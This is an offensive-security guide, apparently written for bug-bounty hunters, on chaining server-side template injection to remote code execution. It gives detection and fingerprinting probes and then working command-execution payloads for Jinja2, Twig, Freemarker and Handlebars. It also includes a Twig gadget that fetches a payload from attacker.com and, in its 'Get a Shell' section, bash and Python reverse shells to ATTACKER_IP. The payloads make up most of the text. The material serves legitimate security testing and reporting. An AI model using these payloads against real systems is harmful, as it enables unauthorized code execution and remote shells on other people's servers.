SSTI to RCE

Why This Chain Works

Template engines exist to interpolate variables. When attacker-controlled input reaches the template rendering context instead of being escaped before it gets there, the engine treats that input as template syntax. Every template engine has a way to reach the runtime environment from within a template - some through exposed globals, some through filter registration, some through reflection on the object model. The path from template context to OS command differs by engine but in every case it exists.

Related: Server-Side Template Injection, File Upload to RCE, Remote Code Execution


Attack Flow

flowchart TD
    A["Identify reflection point<br/>error message, template preview,<br/>email subject, PDF generator"]
    B["Inject polyglot probe:<br/>49{7*7} a{*}b {{7*7}} ${7*7}"]
    C{"Which engine evaluates?"}
    D["Jinja2 / Tornado<br/>Python stack"]
    E["Twig<br/>PHP stack"]
    F["Freemarker<br/>Java stack"]
    G["Handlebars / Pug<br/>Node.js stack"]
    H["Engine-specific sandbox escape"]
    I["OS command execution"]
    J["Read /etc/passwd or id output"]
    K["Escalate to reverse shell"]

    A --> B --> C
    C --> D --> H --> I
    C --> E --> H --> I
    C --> F --> H --> I
    C --> G --> H --> I
    I --> J --> K

    style A fill:#cc3333,color:#fff
    style K fill:#cc3333,color:#fff

Step-by-Step

1. Detect the Injection Point

Look for fields where the value is rendered back in context rather than displayed raw: email templates with preview, notification subjects, username fields that appear in welcome emails, error messages that echo back parameter values, PDF report generators.

Polyglot detection probe:

49{7*7}a{*}b{{7*7}}${7*7}#{7*7}

Send this as the value. Then look at the response:

  • If 343 appears anywhere - you have SSTI and can narrow the engine from context
  • If {7*7} appears unchanged - likely no templating, or output-escaped
  • If an error appears - check the error message for the engine name

2. Engine Fingerprinting

Narrow the engine with targeted probes:

{{7*'7'}}    -> Jinja2 returns 7777777 | Twig returns 49
${7*7}       -> Freemarker / Spring EL
<%= 7*7 %>   -> ERB (Ruby)
#{7*7}       -> Pebble / Thymeleaf

Check the stack from X-Powered-By, Server, or error messages. A Python stack with Jinja2 returns 7777777 from {{7*'7'}}. Twig (PHP) returns 49.


3. Jinja2 - Python

Confirm:

{{7*7}}  ->  49
{{7*'7'}}  ->  7777777

OS command via os.popen:

{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

Via subclasses (when globals is not directly accessible):

{{''.__class__.mro()[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()[0].strip()}}

The subclass index for subprocess.Popen varies by Python version. Enumerate:

{{''.__class__.mro()[1].__subclasses__()}}

Find the index of subprocess.Popen in the output, then:

{{''.__class__.mro()[1].__subclasses__()[N]('id',shell=True,stdout=-1).communicate()[0].strip()}}

Simpler if request is in scope (Flask):

{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

4. Twig - PHP

Confirm:

{{7*7}}  ->  49
{{7*'7'}}  ->  49  (not 7777777 - this distinguishes from Jinja2)

RCE via registerUndefinedFilterCallback:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

Via setCache gadget (older Twig versions):

{{_self.env.setCache("ftp://attacker.com/payload.php")}}{{_self.env.loadTemplate("shell")}}

Simpler PHP system call if Twig sandbox is off:

{{["id"]|filter("system")}}

5. Freemarker - Java

Confirm:

${7*7}  ->  49

RCE via freemarker.template.utility.Execute:

<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

Via ObjectWrapper (newer Freemarker):

${product.class.forName("java.lang.Runtime").getMethod("exec","".class).invoke(product.class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}

6. Handlebars - Node.js

Handlebars sandboxes by default but has known bypasses:

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').execSync('id').toString();"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

7. Get a Shell

Once id executes, get a reverse shell:

# Bash reverse shell via Jinja2:
{{config.__class__.__init__.__globals__['os'].popen('bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1').read()}}
 
# Python reverse shell:
{{config.__class__.__init__.__globals__['os'].popen('python3 -c \'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])\'').read()}}

PoC Template for Report

1. Injection point: POST /notifications/preview with body {"subject":"PAYLOAD"}
2. Probe: {"subject":"{{7*7}}"} -> Response contains "49" in preview text
3. Engine confirmation: {"subject":"{{7*'7'}}"} -> "7777777" confirms Jinja2
4. RCE payload:
   {"subject":"{{config.__class__.__init__.__globals__['os'].popen('id').read()}}"}
   Response: "uid=33(www-data) gid=33(www-data) groups=33(www-data)"
5. Hostname: {"subject":"{{config.__class__.__init__.__globals__['os'].popen('hostname').read()}}"}
   Response: "prod-notifications-01"
Screenshots of all responses attached.

Public Reports


Reporting Notes

Show the detection probe, the engine fingerprint step, and the RCE payload as three distinct requests. Include id, hostname, and uname -a outputs to paint a complete picture of the execution context. Name the engine in the title. If the payload requires URL encoding or specific headers, include the raw HTTP request from Burp. Programs that see an actual shell output in the PoC almost never dispute severity.